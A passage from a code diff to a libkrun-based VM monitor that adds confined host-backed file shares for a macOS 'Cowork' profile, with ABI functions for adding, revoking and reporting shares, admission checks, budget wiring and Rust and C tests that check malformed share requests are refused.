krun_cowork_add_share_v1(uint32_t ctx_id, const char *tag, int32_t root_fd, uint32_t flags, const char *guest_path);")); ++ assert!(header.contains("int32_t krun_cowork_revoke_share_v1(uint32_t ctx_id, const char *tag);")); ++ assert!(header.contains("int32_t krun_cowork_next_share_event_v1(uint32_t ctx_id, struct krun_cowork_share_event_v1 *out, uint32_t timeout_ms);")); ++ for line in ["#define KRUN_COWORK_MAX_SHARES 12", "#define KRUN_COWORK_SHARE_READ_ONLY (1u << 0)", "#define KRUN_COWORK_SHARE_WINTER (1u << 1)", "#define KRUN_COWORK_SHARE_FOLDER_RULES (1u << 2)", ++ "#define KRUN_COWORK_SHARE_EVENT_REVOKED 1", "#define KRUN_COWORK_SHARE_EVENT_NOTICE 2", "#define KRUN_COWORK_SHARE_NOTICE_ENVRC 1", "#define KRUN_COWORK_SHARE_NOTICE_GIT_PROTECTED 6", "char tag[36];"] { ++ assert!(header.contains(line), "{line}"); ++ } ++ assert_eq!(std::mem::size_of::(), 52); ++ assert_eq!((ShareFlags::READ_ONLY, ShareFlags::WINTER_SHARE, ShareFlags::FOLDER_RULES), (1, 2, 4)); ++ assert_eq!(devices::virtio::fs::cowork::MAX_SHARES, 12); ++ assert_eq!(devices::virtio::fs::cowork::TAG_MAX + 1, 33, "the tag and its NUL fit tag[36]"); ++} ++ ++/// The pin counters report the budget the VM was built with (R14), the base budget before any build. ++#[test] ++fn the_pin_counters_report_the_budget_the_vm_was_built_with() { ++ let read = || { ++ let mut out = KrunCoworkPinCountersV1 { size: std::mem::size_of::() as u32, ..Default::default() }; ++ assert_eq!(unsafe { krun_cowork_get_pin_counters_v1(&mut out) }, 0); ++ (out.max_pins, out.max_pinned_bytes) ++ }; ++ assert_eq!(read(), (48, 8 * 1024 * 1024)); ++ let (_, pins, bytes) = devices::workspace_disks::budget(12).unwrap(); ++ devices::cowork_counters::set_budget(pins, bytes); ++ assert_eq!(read(), (96, 21_758_240)); ++ devices::cowork_counters::set_budget(0, 0); ++ assert_eq!(read(), (48, 8 * 1024 * 1024)); ++} ++ ++/// Text pins on the wiring: the builder sizes the reclaim budget from the actual share count, registers each ++/// share's device after the three workspace devices and puts it on the exit path (R13) where the device is ++/// built; the device's exit observer stops and joins its worker. ++#[test] ++fn the_share_devices_are_wired_into_the_budget_and_the_exit_path() { ++ let builder = include_str!("../../vmm/src/builder.rs"); ++ assert!(builder.contains("let shares = vm_resources.fs.iter().filter(|config| config.cowork_share.is_some()).count();")); ++ assert!(builder.contains("devices::workspace_disks::budget(shares)")); ++ assert!(builder.contains("devices::cowork_counters::set_budget(")); ++ let start = builder.find("fn attach_fs_devices(").unwrap(); ++ let body = &builder[start..]; ++ let body = &body[..body.find("\n}\n").unwrap()]; ++ let register = body.find(".register(devices::workspace_disks::FIRST_SHARE_DEVICE + i as u64)").expect("registration"); ++ let enable = body.find("enable_cowork_share(share.clone(), access, device)").expect("enable"); ++ let observer = body.find("vmm.exit_observers.push(fs.clone());").expect("exit observer"); ++ assert!(register < enable && enable < observer); ++ let device = include_str!("../../devices/src/virtio/fs/device.rs"); ++ let at = device.find("impl crate::virtio::VmmExitObserver for Fs").expect("observer"); ++ let body = &device[at..]; ++ let body = &body[..body.find("\n}\n").unwrap()]; ++ let stop = body.find("cowork.stop.store(true").expect("stop flag"); ++ let wake = body.find("self.worker_stopfd.write(1)").expect("stop event"); ++ let join = body.find("worker.join()").expect("join"); ++ assert!(stop < wake && wake < join); ++ assert!(body.contains("let Some(cowork) = &self.cowork else { return };"), "stock devices keep the no-op"); ++} +diff --git a/src/libkrun/src/lib.rs b/src/libkrun/src/lib.rs +index 7d46aa7..493dfb2 100644 +--- a/src/libkrun/src/lib.rs ++++ b/src/libkrun/src/lib.rs +@@ -572,7 +572,12 @@ pub extern "C" fn krun_create_ctx() -> i32 { + #[no_mangle] + pub extern "C" fn krun_free_ctx(ctx_id: u32) -> i32 { + match CTX_MAP.lock().unwrap().remove(&ctx_id) { +- Some(_) => KRUN_SUCCESS, ++ Some(_) => { ++ // The context's shares close with it (a started context never comes back here). ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ COWORK_SHARES.lock().unwrap_or_else(|poisoned| poisoned.into_inner()).remove(&ctx_id); ++ KRUN_SUCCESS ++ } + None => -libc::ENOENT, + } + } +@@ -637,6 +642,8 @@ pub unsafe extern "C" fn krun_set_root(ctx_id: u32, c_root_path: *const c_char) + } + v + }, ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ cowork_share: None, + }); + } + Entry::Vacant(_) => return -libc::ENOENT, +@@ -741,6 +748,8 @@ pub unsafe extern "C" fn krun_add_virtiofs4( + shm_size: shm, + read_only, + virtual_entries, ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ cowork_share: None, + }); + } + Entry::Vacant(_) => return -libc::ENOENT, +@@ -2456,6 +2465,8 @@ pub unsafe extern "C" fn krun_set_root_disk_remount( + shm_size: Some(1 << 29), + read_only: false, + virtual_entries, ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ cowork_share: None, + }); + + ctx_cfg.set_block_root(device, fstype, options); +@@ -2965,7 +2976,7 @@ fn cowork_validate_profile_in_phase(cfg:&ContextConfig, phase:CoworkProfilePhase + || r.cowork_guarded_block!=cfg!(feature="blk") + || cfg.gpu_virgl_flags.is_some() || cfg.gpu_shm_size.is_some() || cfg.render_server_fd.is_some() + || !matches!(cfg.vsock_config,VsockConfig::Disabled) || !r.disable_implicit_console || !r.virtio_consoles.is_empty() +- || r.serial_consoles.len()!=1 || !r.fs.is_empty() || r.external_kernel.is_none() || r.kernel_bundle.is_some() ++ || r.serial_consoles.len()!=1 || !cowork_shares_admitted(cfg) || r.external_kernel.is_none() || r.kernel_bundle.is_some() + || r.firmware_config.is_some() || r.nested_enabled || r.gpu_virgl_flags.is_some() || r.gpu_shm_size.is_some() + || r.gpu_render_server_fd.is_some() || r.vm_config().vcpu_count!=Some(2) + || r.vm_config().mem_size_mib.is_none_or(|m|m>1024) {return Err(());} +@@ -2979,6 +2990,36 @@ fn cowork_validate_profile_in_phase(cfg:&ContextConfig, phase:CoworkProfilePhase + } + Ok(()) + } ++/// SH2: `r.fs` is admitted only when it is empty, or when every entry came from `krun_cowork_add_share_v1` ++/// on a production context: a confined share, no shared memory (R6), Simplified permissions and no xattr ++/// (R7: the confined server has none), no host path, no virtual entries, the device's read-only bit equal ++/// to the share's, the tag as the device id, at most 12 shares with distinct tags. `krun_add_virtiofs*` and ++/// `krun_set_root` add an entry without a share, so they keep flipping the context out of the profile. ++fn cowork_shares_admitted(cfg: &ContextConfig) -> bool { ++ let fs = &cfg.vmr.fs; ++ if fs.is_empty() { ++ return true; ++ } ++ #[cfg(not(all(feature = "blk", target_os = "macos")))] ++ { false } ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ { ++ let mut tags = std::collections::HashSet::new(); ++ cfg.cowork_production ++ && fs.len() <= devices::virtio::fs::cowork::MAX_SHARES ++ && fs.iter().all(|entry| { ++ entry.cowork_share.as_ref().is_some_and(|share| { ++ share.tag() == entry.fs_id ++ && tags.insert(entry.fs_id.clone()) ++ && entry.shared_dir.is_none() ++ && entry.shm_size.is_none() ++ && matches!(entry.semantics, PermissionSemantics::LinuxSimplified) ++ && entry.virtual_entries.is_empty() ++ && entry.read_only == share.flags().read_only ++ }) ++ }) ++ } ++} + #[cfg(feature="blk")] + fn cowork_validate_blocks(guarded:bool,memory:Option,disks:&[BlockDeviceConfig])->Result<(),()> { + if guarded && (memory!=Some(768) || disks.len()!=1 || disks[0].disk_image_format!=ImageType::Raw +@@ -3415,7 +3456,9 @@ pub unsafe extern "C" fn krun_cowork_get_pin_counters_v1(out: *mut KrunCoworkPin + { + if out.is_null() || (*out).size < std::mem::size_of::() as u32 { return -libc::EINVAL; } + let snapshot = devices::cowork_counters::pin_snapshot(); +- *out = KrunCoworkPinCountersV1 { size: std::mem::size_of::() as u32, reserved: 0, max_pins: devices::workspace_disks::MAX_PINS as u64, max_pinned_bytes: devices::workspace_disks::MAX_PINNED_BYTES, ++ // The budget the VM was built with (it grows with the shares, R14); the base budget before any build. ++ let budget = devices::cowork_counters::budget().unwrap_or((devices::workspace_disks::MAX_PINS as u64, devices::workspace_disks::MAX_PINNED_BYTES)); ++ *out = KrunCoworkPinCountersV1 { size: std::mem::size_of::() as u32, reserved: 0, max_pins: budget.0, max_pinned_bytes: budget.1, + high_water_pins: snapshot.high_water_pins, high_water_bytes: snapshot.high_water_bytes, budget_refusals: snapshot.budget_refusals }; + 0 + } +@@ -3460,6 +3503,157 @@ pub extern "C" fn krun_cowork_validate_profile_v1(ctx_id: u32) -> i32 { + 0 + } + ++/// SH2: the shares of each context, kept apart from the context map because the worker revokes shares and ++/// drains their events after `krun_start_enter` has taken the context. `krun_free_ctx` drops an unstarted ++/// context's entry, which closes its shares. ++#[cfg(all(feature = "blk", target_os = "macos"))] ++struct CoworkShareSet { ++ events: std::sync::Arc, ++ shares: Vec>, ++} ++#[cfg(all(feature = "blk", target_os = "macos"))] ++static COWORK_SHARES: LazyLock>> = LazyLock::new(|| Mutex::new(HashMap::new())); ++ ++/// SH2: one host-backed share, served by its own guarded fs device through the confined virtio-fs server. ++/// `tag` is `[a-z0-9-]{1,32}` and distinct; `root_fd` a directory, borrowed (the library keeps its own ++/// close-on-exec duplicate, at least 3; the caller closes its own); `flags` bit 0 read-only, bit 1 Winter ++/// share, bit 2 folder rules, every other bit zero (and not both 1 and 2); `guest_path` the canonical guest ++/// mount path under `/workspace/` or `/run/winter/`, neither equal to nor nested with another share's. At ++/// most 12 shares, each root once, only on a production context, before `krun_cowork_validate_profile_v1` (an ++/// accepted share clears an earlier preflight, which must then run again). ++/// `-EINVAL` for every refusal, `-ENOENT` for an unknown context; a refusal keeps no descriptor. ++/// ++/// # Safety ++/// `tag` and `guest_path` must be null or NUL-terminated strings. ++#[no_mangle] ++pub unsafe extern "C" fn krun_cowork_add_share_v1(ctx_id: u32, tag: *const c_char, root_fd: i32, flags: u32, guest_path: *const c_char) -> i32 { ++ #[cfg(not(all(feature = "blk", target_os = "macos")))] ++ { let _ = (ctx_id, tag, root_fd, flags, guest_path); -libc::EINVAL } ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ { ++ use devices::virtio::fs::cowork::{guest_paths_overlap, valid_guest_path, valid_tag, ShareControl, ShareEvents, MAX_SHARES}; ++ use devices::virtio::fs::macos::confined::{ConfinedConfig, ShareFlags}; ++ if tag.is_null() || guest_path.is_null() || root_fd < 3 { return -libc::EINVAL; } ++ let (tag, guest_path) = (CStr::from_ptr(tag), CStr::from_ptr(guest_path)); ++ if !valid_tag(tag.to_bytes()) || !valid_guest_path(guest_path.to_bytes()) { return -libc::EINVAL; } ++ let Ok(tag) = tag.to_str() else { return -libc::EINVAL; }; ++ let Ok(share_flags) = ShareFlags::from_abi(flags) else { return -libc::EINVAL; }; ++ let mut st: libc::stat = std::mem::zeroed(); ++ if libc::fstat(root_fd, &mut st) != 0 || st.st_mode & libc::S_IFMT != libc::S_IFDIR { return -libc::EINVAL; } ++ let identity = (st.st_dev as u64, st.st_ino); ++ let mut contexts = CTX_MAP.lock().unwrap(); ++ let Some(cfg) = contexts.get_mut(&ctx_id) else { return -libc::ENOENT; }; ++ if !cfg.cowork_production { return -libc::EINVAL; } ++ let shares: Vec<_> = cfg.vmr.fs.iter().filter_map(|entry| entry.cowork_share.as_ref()).collect(); ++ if shares.len() >= MAX_SHARES ++ || cfg.vmr.fs.iter().any(|entry| entry.fs_id == tag) ++ || shares.iter().any(|share| share.identity() == identity || guest_paths_overlap(share.guest_path().to_bytes(), guest_path.to_bytes())) ++ { ++ return -libc::EINVAL; ++ } ++ let owned = libc::fcntl(root_fd, libc::F_DUPFD_CLOEXEC, 3); ++ if owned < 0 { return -libc::EINVAL; } ++ let root = std::os::fd::OwnedFd::from_raw_fd(owned); ++ let mut registry = COWORK_SHARES.lock().unwrap_or_else(|poisoned| poisoned.into_inner()); ++ let events = registry.get(&ctx_id).map(|set| set.events.clone()).unwrap_or_else(ShareEvents::new); ++ let Ok(share) = ShareControl::new(tag, ConfinedConfig { root, flags: share_flags, guest_path: guest_path.to_owned() }, events.clone()) else { return -libc::EINVAL; }; ++ // The duplicate is the same open directory the caller passed (checked again, after the duplicate). ++ if share.identity() != identity { return -libc::EINVAL; } ++ cfg.vmr.add_fs_device(FsDeviceConfig { ++ fs_id: tag.to_string(), ++ shared_dir: None, ++ semantics: PermissionSemantics::LinuxSimplified, ++ shm_size: None, ++ read_only: share_flags.read_only, ++ virtual_entries: Vec::new(), ++ cowork_share: Some(share.clone()), ++ }); ++ registry.entry(ctx_id).or_insert_with(|| CoworkShareSet { events, shares: Vec::new() }).shares.push(share); ++ // The device set changed: the mandatory preflight must run again. ++ cfg.cowork_validated = false; ++ 0 ++ } ++} ++ ++/// SH2 R11: revokes one share, from any thread, before or after `krun_start_enter`. From the first request ++/// after this call every request on that share's device answers `EACCES`; the device's own thread closes the ++/// share's descriptors at its next request boundary, or at once when idle (a share whose device thread is not ++/// running is closed here), and only then is `KRUN_COWORK_SHARE_EVENT_REVOKED` queued for the tag. A repeat ++/// is accepted and changes nothing. `-EINVAL` for a malformed tag, `-ENOENT` for an unknown context or tag. ++/// ++/// # Safety ++/// `tag` must be null or a NUL-terminated string. ++#[no_mangle] ++pub unsafe extern "C" fn krun_cowork_revoke_share_v1(ctx_id: u32, tag: *const c_char) -> i32 { ++ #[cfg(not(all(feature = "blk", target_os = "macos")))] ++ { let _ = (ctx_id, tag); -libc::EINVAL } ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ { ++ if tag.is_null() { return -libc::EINVAL; } ++ let tag = CStr::from_ptr(tag); ++ if !devices::virtio::fs::cowork::valid_tag(tag.to_bytes()) { return -libc::EINVAL; } ++ let registry = COWORK_SHARES.lock().unwrap_or_else(|poisoned| poisoned.into_inner()); ++ let Some(set) = registry.get(&ctx_id) else { return -libc::ENOENT; }; ++ let Some(share) = set.shares.iter().find(|share| share.tag().as_bytes() == tag.to_bytes()) else { return -libc::ENOENT; }; ++ share.revoke(); ++ 0 ++ } ++} ++ ++/// `struct krun_cowork_share_event_v1`: one share event. `size` is set by the caller to `sizeof` and is ++/// rewritten to the bytes written; `kind` is `KRUN_COWORK_SHARE_EVENT_*`, `notice` a ++/// `KRUN_COWORK_SHARE_NOTICE_*` for a notice (0 otherwise), `tag` the NUL-terminated tag. ++#[repr(C)] ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++pub struct KrunCoworkShareEventV1 { ++ pub size: u32, ++ pub kind: u32, ++ pub notice: u32, ++ pub reserved: u32, ++ pub tag: [u8; 36], ++} ++impl Default for KrunCoworkShareEventV1 { ++ fn default() -> Self { ++ Self { size: 0, kind: 0, notice: 0, reserved: 0, tag: [0; 36] } ++ } ++} ++pub const KRUN_COWORK_SHARE_EVENT_REVOKED: u32 = 1; ++pub const KRUN_COWORK_SHARE_EVENT_NOTICE: u32 = 2; ++/// The longest wait `krun_cowork_next_share_event_v1` accepts, in milliseconds. ++pub const KRUN_COWORK_SHARE_EVENT_MAX_WAIT_MS: u32 = 60_000; ++ ++/// SH2: the next share event of a context, for the worker's `share_revoked{tag}` and `share_notice{tag, kind}` ++/// statuses: 1 when one was written to `out`, 0 when none arrived within `timeout_ms` (0 polls; at most ++/// 60,000). Each revocation is reported once per tag, each notice once per tag and kind. `-EINVAL` for a ++/// null or short `out` or a longer wait, `-ENOENT` for a context with no share. ++/// ++/// # Safety ++/// `out` must be null or point to a writable `KrunCoworkShareEventV1`. ++#[no_mangle] ++pub unsafe extern "C" fn krun_cowork_next_share_event_v1(ctx_id: u32, out: *mut KrunCoworkShareEventV1, timeout_ms: u32) -> i32 { ++ #[cfg(not(all(feature = "blk", target_os = "macos")))] ++ { let _ = (ctx_id, out, timeout_ms); -libc::EINVAL } ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ { ++ use devices::virtio::fs::cowork::ShareEvent; ++ if out.is_null() || (*out).size < std::mem::size_of::() as u32 || timeout_ms > KRUN_COWORK_SHARE_EVENT_MAX_WAIT_MS { return -libc::EINVAL; } ++ let Some((events, shares)) = COWORK_SHARES.lock().unwrap_or_else(|poisoned| poisoned.into_inner()).get(&ctx_id).map(|set| (set.events.clone(), set.shares.clone())) else { return -libc::ENOENT; }; ++ // Notices the confined servers recorded (R15) join the queue before the wait. ++ for share in &shares { ++ share.forward_notices(); ++ } ++ let Some(event) = events.next(std::time::Duration::from_millis(timeout_ms.into())) else { return 0; }; ++ let (kind, notice, tag) = match event { ++ ShareEvent::Revoked { tag } => (KRUN_COWORK_SHARE_EVENT_REVOKED, 0, tag), ++ ShareEvent::Notice { tag, kind } => (KRUN_COWORK_SHARE_EVENT_NOTICE, devices::virtio::fs::cowork::notice_number(kind), tag), ++ }; ++ let mut value = KrunCoworkShareEventV1 { size: std::mem::size_of::() as u32, kind, notice, ..Default::default() }; ++ value.tag[..tag.len()].copy_from_slice(tag.as_bytes()); ++ *out = value; ++ 1 ++ } ++} ++ + #[cfg(all(test,feature="blk",target_os="macos"))]mod cowork_admission_tests { + use super::*; + fn disk()->BlockDeviceConfig{BlockDeviceConfig{block_id:"fixture".into(),cache_type:CacheType::Writeback,disk_image_path:"/NO-OPEN-fixture-only".into(),disk_image_format:ImageType::Raw,is_disk_read_only:false,direct_io:false,sync_mode:SyncMode::Full}} +@@ -3767,3 +3961,5 @@ mod cowork_production_quiet_tests; + mod cowork_production_counters_tests; + #[cfg(all(test,feature="blk",target_os="macos"))] + mod cowork_production_exit_tests; ++#[cfg(all(test,feature="blk",target_os="macos"))] ++mod cowork_production_shares_tests; +diff --git a/src/vmm/src/builder.rs b/src/vmm/src/builder.rs +index 5795ffd..4cfc396 100644 +--- a/src/vmm/src/builder.rs ++++ b/src/vmm/src/builder.rs +@@ -961,7 +961,11 @@ pub fn build_microvm( + #[cfg(all(target_os="macos",feature="blk"))] + let cowork_access=if vm_resources.cowork_guarded_block { + let workspace = vm_resources.cowork_workspace_disks.is_some(); +- let access=devices::reclaim_access::Access::new(if workspace {devices::workspace_disks::MAX_DEVICES} else if vm_resources.cowork_stream.is_some(){2}else{1},if workspace {devices::workspace_disks::MAX_PINS} else if vm_resources.cowork_stream.is_some(){32}else{16},devices::workspace_disks::MAX_PINNED_BYTES); ++ // R14: the workspace budget grows with the actual number of share devices, never beyond it. ++ let shares = vm_resources.fs.iter().filter(|config| config.cowork_share.is_some()).count(); ++ let (max_devices, max_pins, max_pinned_bytes) = devices::workspace_disks::budget(shares).expect("at most 12 shares (the gate refuses more)"); ++ let access=devices::reclaim_access::Access::new(if workspace {max_devices} else if vm_resources.cowork_stream.is_some(){2}else{1},if workspace {max_pins} else if vm_resources.cowork_stream.is_some(){32}else{16},max_pinned_bytes); ++ devices::cowork_counters::set_budget(if workspace {max_pins} else if vm_resources.cowork_stream.is_some(){32}else{16}, max_pinned_bytes); + let terminal_fd=exit_evt.try_clone().map_err(Error::EventFd).map_err(StartMicrovmError::Internal)?; + let terminal_code=exit_code.clone(); + access.set_terminal_notifier(Arc::new(move||{crate::cowork_exit::note_terminal_fault(&terminal_code);crate::cowork_fixture::mark_stop();let _=terminal_fd.write(1);}));Some(access) +@@ -2001,6 +2005,18 @@ fn attach_fs_devices( + #[cfg(target_os = "macos")] + fs.lock().unwrap().set_map_sender(map_sender.clone()); + ++ // A Cowork share: the guarded worker, registered with the reclaim Access after the three ++ // workspace devices, and stopped and joined on the exit path before the exit hook (R13). ++ #[cfg(all(target_os = "macos", feature = "blk"))] ++ if let Some(share) = &config.cowork_share { ++ let access = vmm.cowork_access.clone().expect("a share runs only in the production profile"); ++ let device = access ++ .register(devices::workspace_disks::FIRST_SHARE_DEVICE + i as u64) ++ .expect("share registration (the budget counts every share)"); ++ fs.lock().unwrap().enable_cowork_share(share.clone(), access, device); ++ vmm.exit_observers.push(fs.clone()); ++ } ++ + // The device mutex mustn't be locked here otherwise it will deadlock. + attach_mmio_device(vmm, id, intc.clone(), fs).map_err(RegisterFsDevice)?; + } +diff --git a/src/vmm/src/resources.rs b/src/vmm/src/resources.rs +index feefc38..a61b0da 100644 +--- a/src/vmm/src/resources.rs ++++ b/src/vmm/src/resources.rs +@@ -488,7 +488,7 @@ mod tests { + #[cfg(feature = "tee")] + initrd_bundle: _, // tee builds only (the tee feature is refused) + #[cfg(not(feature = "tee"))] +- fs: _, // DEVICE: virtiofs; must be empty ++ fs: _, // DEVICE: virtiofs; only Cowork shares from krun_cowork_add_share_v1 (confined, no shm, Simplified) + vsock: _, // DEVICE: legacy vsock builder; reached only through a non-Disabled vsock config, which is refused + #[cfg(feature = "blk")] + block: _, // DEVICE: virtio-blk; built only from the admitted pair +diff --git a/src/vmm/src/vmm_config/fs.rs b/src/vmm/src/vmm_config/fs.rs +index 9f29895..1bfffd5 100644 +--- a/src/vmm/src/vmm_config/fs.rs ++++ b/src/vmm/src/vmm_config/fs.rs +@@ -14,4 +14,8 @@ pub struct FsDeviceConfig { + pub read_only: bool, + #[cfg(not(feature = "aws-nitro"))] + pub virtual_entries: Vec, ++ /// A Cowork share, set only by `krun_cowork_add_share_v1`: the device serves this share's confined ++ /// server through the guarded worker. `None` for every stock virtio-fs device. ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ pub cowork_share: Option>, + } diff --git a/apple/Cowork/WinterCoworkLibkrun/scripts/abi_smoke.c b/apple/Cowork/WinterCoworkLibkrun/scripts/abi_smoke.c index b2999635d..78387dcc8 100644 --- a/apple/Cowork/WinterCoworkLibkrun/scripts/abi_smoke.c +++ b/apple/Cowork/WinterCoworkLibkrun/scripts/abi_smoke.c @@ -19,6 +19,8 @@ _Static_assert(KRUN_COWORK_PRODUCTION_MAX_MEMORY_MIB == 1024, "production memory _Static_assert(sizeof(struct krun_cowork_volume_identity) == 32, "identity layout"); _Static_assert(sizeof(struct krun_cowork_flush_counters_v1) == 72, "flush counters layout"); _Static_assert(sizeof(struct krun_cowork_pin_counters_v1) == 48, "pin counters layout"); +_Static_assert(sizeof(struct krun_cowork_share_event_v1) == 52, "share event layout"); +_Static_assert(KRUN_COWORK_MAX_SHARES == 12, "at most 12 shares"); _Static_assert(KRUN_COWORK_EXIT_OFF != KRUN_COWORK_EXIT_RESET, "off and reset are distinct reasons"); static void exit_hook(void *user_data, uint32_t reason) { (void)user_data; (void)reason; } @@ -40,9 +42,11 @@ static bool configure(uint32_t context,uint8_t vcpus,uint32_t memory) { &&krun_set_vm_config(context,vcpus,memory)==0; } int main(void) { - char root[]="/tmp/winter-production-abi-XXXXXX",data_path[256]={0},env_path[256]={0}; - int data=-1,environment=-1,peer=-1,status=1;uint32_t context=0;bool live=false; + char root[]="/tmp/winter-production-abi-XXXXXX",data_path[256]={0},env_path[256]={0},share_path[256]={0}; + int data=-1,environment=-1,peer=-1,share=-1,status=1;uint32_t context=0;bool live=false; REQUIRE(mkdtemp(root)!=NULL);REQUIRE(snprintf(data_path,sizeof(data_path),"%s/data",root)>0);REQUIRE(snprintf(env_path,sizeof(env_path),"%s/environment",root)>0); + REQUIRE(snprintf(share_path,sizeof(share_path),"%s/share",root)>0);REQUIRE(mkdir(share_path,0700)==0); + share=open(share_path,O_RDONLY|O_DIRECTORY|O_CLOEXEC);REQUIRE(share>=3); data=open(data_path,O_RDWR|O_CREAT|O_EXCL|O_CLOEXEC,0600);environment=open(env_path,O_RDWR|O_CREAT|O_EXCL|O_CLOEXEC,0600); REQUIRE(data>=3&&environment>=3);REQUIRE(ftruncate(data,CAPACITY)==0&&ftruncate(environment,CAPACITY)==0); struct krun_cowork_volume_identity di,ei;REQUIRE(identity(data,&di)&&identity(environment,&ei)); @@ -65,6 +69,27 @@ int main(void) { REQUIRE(krun_cowork_validate_profile_v1(context)<0); /* still no pair */ REQUIRE(krun_cowork_set_workspace_disks_v1(context,data,&di,environment,&ei)==0);REQUIRE(descriptor_count()==with_port+2); REQUIRE(krun_cowork_validate_profile_v1(context)==0); + /* Host-backed shares (SH2): a refusal keeps no descriptor, an accepted share keeps one close-on-exec + * duplicate, revocation before the start closes it at once and is reported once. */ + int with_pair=descriptor_count(); + REQUIRE(krun_cowork_add_share_v1(context,"Winter-Outputs",share,KRUN_COWORK_SHARE_WINTER,"/workspace/outputs")<0); + REQUIRE(krun_cowork_add_share_v1(context,"winter-outputs",share,1u<<3,"/workspace/outputs")<0); + REQUIRE(krun_cowork_add_share_v1(context,"winter-outputs",share,KRUN_COWORK_SHARE_WINTER|KRUN_COWORK_SHARE_FOLDER_RULES,"/workspace/outputs")<0); + REQUIRE(krun_cowork_add_share_v1(context,"winter-outputs",share,KRUN_COWORK_SHARE_WINTER,"/workspace/../outputs")<0); + REQUIRE(krun_cowork_add_share_v1(context,"winter-outputs",data,KRUN_COWORK_SHARE_WINTER,"/workspace/outputs")<0); + REQUIRE(krun_cowork_add_share_v1(UINT32_MAX,"winter-outputs",share,KRUN_COWORK_SHARE_WINTER,"/workspace/outputs")<0); + REQUIRE(descriptor_count()==with_pair); + REQUIRE(krun_cowork_add_share_v1(context,"winter-outputs",share,KRUN_COWORK_SHARE_WINTER,"/workspace/outputs")==0);REQUIRE(descriptor_count()==with_pair+1); + REQUIRE(krun_cowork_add_share_v1(context,"winter-outputs",share,KRUN_COWORK_SHARE_WINTER,"/workspace/outputs")<0); /* once */ + REQUIRE(krun_cowork_validate_profile_v1(context)==0); + struct krun_cowork_share_event_v1 event={.size=sizeof(event)}; + REQUIRE(krun_cowork_next_share_event_v1(context,&event,0)==0); + REQUIRE(krun_cowork_revoke_share_v1(context,"src-0")<0); + REQUIRE(krun_cowork_revoke_share_v1(context,"winter-outputs")==0);REQUIRE(descriptor_count()==with_pair); + REQUIRE(krun_cowork_next_share_event_v1(context,&event,0)==1); + REQUIRE(event.size==sizeof(event)&&event.kind==KRUN_COWORK_SHARE_EVENT_REVOKED&&event.notice==0&&strcmp(event.tag,"winter-outputs")==0); + REQUIRE(krun_cowork_revoke_share_v1(context,"winter-outputs")==0);REQUIRE(krun_cowork_next_share_event_v1(context,&event,0)==0); + REQUIRE(fcntl(share,F_GETFD)>=0); /* the caller's descriptor stays its own */ /* The exit hook is optional, production-only and accepted once; the counters are process-global. */ REQUIRE(krun_cowork_set_exit_hook_v1(context,NULL,NULL)<0); REQUIRE(krun_cowork_set_exit_hook_v1(context,exit_hook,NULL)==0);REQUIRE(krun_cowork_set_exit_hook_v1(context,exit_hook,NULL)<0); @@ -90,11 +115,11 @@ int main(void) { REQUIRE(krun_free_ctx(context)==0);live=false; close(peer);peer=-1;REQUIRE(descriptor_count()==before); REQUIRE(fcntl(data,F_GETFD)>=0&&fcntl(environment,F_GETFD)>=0); - puts("{\"productionAbiVerified\":true,\"countersVerified\":true,\"exitHookRegistrationVerified\":true,\"limitsVerified\":true,\"shutdownDeviceRefused\":true,\"ownedFdCleanupVerified\":true,\"callerFdsRetained\":true,\"vmStarted\":false,\"krunStartEnterCalled\":false,\"workerStarted\":false,\"productionReady\":false}");status=0; + puts("{\"productionAbiVerified\":true,\"countersVerified\":true,\"exitHookRegistrationVerified\":true,\"limitsVerified\":true,\"sharesVerified\":true,\"shutdownDeviceRefused\":true,\"ownedFdCleanupVerified\":true,\"callerFdsRetained\":true,\"vmStarted\":false,\"krunStartEnterCalled\":false,\"workerStarted\":false,\"productionReady\":false}");status=0; cleanup: if(live)(void)krun_free_ctx(context); if(peer>=0)close(peer); - if(data>=0)close(data);if(environment>=0)close(environment); - if(data_path[0])unlink(data_path);if(env_path[0])unlink(env_path);(void)rmdir(root); + if(data>=0)close(data);if(environment>=0)close(environment);if(share>=0)close(share); + if(data_path[0])unlink(data_path);if(env_path[0])unlink(env_path);if(share_path[0])(void)rmdir(share_path);(void)rmdir(root); return status; } diff --git a/apple/Cowork/WinterCoworkLibkrun/scripts/libkrun_common.py b/apple/Cowork/WinterCoworkLibkrun/scripts/libkrun_common.py index cf3869104..ed6b2fb99 100644 --- a/apple/Cowork/WinterCoworkLibkrun/scripts/libkrun_common.py +++ b/apple/Cowork/WinterCoworkLibkrun/scripts/libkrun_common.py @@ -36,8 +36,9 @@ def verify(path, expected): # The fixture-only block trace and reclaim rows. Present in the oracle archive, absent from production. TRACE_ROWS = [b'block_request_capture', b'block_owned_io_begin', b'block_owned_io_end', b'block_owned_completion_hold', b'block_used_ack', b'block_ring_pin', b'block_freeze_pin', b'block_trace_overflow', b'reclaim_failure', b'reclaim_parked', b'reclaim_disposition', b'reclaim_resumed', b'reclaim_unmap', b'reclaim_replace', b'reclaim_map', b'reclaim_exclusion', b'reclaim_used_ack'] -PRODUCTION_EXPORTS = ['_krun_cowork_create_runtime_port_v1', '_krun_cowork_enable_profile_v1', '_krun_cowork_get_flush_counters_v1', '_krun_cowork_get_pin_counters_v1', - '_krun_cowork_set_exit_hook_v1', '_krun_cowork_set_workspace_disks_v1', '_krun_cowork_validate_profile_v1'] +PRODUCTION_EXPORTS = ['_krun_cowork_add_share_v1', '_krun_cowork_create_runtime_port_v1', '_krun_cowork_enable_profile_v1', '_krun_cowork_get_flush_counters_v1', + '_krun_cowork_get_pin_counters_v1', '_krun_cowork_next_share_event_v1', '_krun_cowork_revoke_share_v1', '_krun_cowork_set_exit_hook_v1', + '_krun_cowork_set_workspace_disks_v1', '_krun_cowork_validate_profile_v1'] FIXTURE_EXPORTS = ['_krun_create_cowork_bootstrap_stream', '_krun_create_cowork_runtime_stream', '_krun_enable_cowork_block_fixture_reclaim', '_krun_enable_cowork_fixture_reclaim', '_krun_enable_cowork_runtime_port_fixture_trace', '_krun_set_cowork_bootstrap_stream', '_krun_set_cowork_workspace_disks'] diff --git 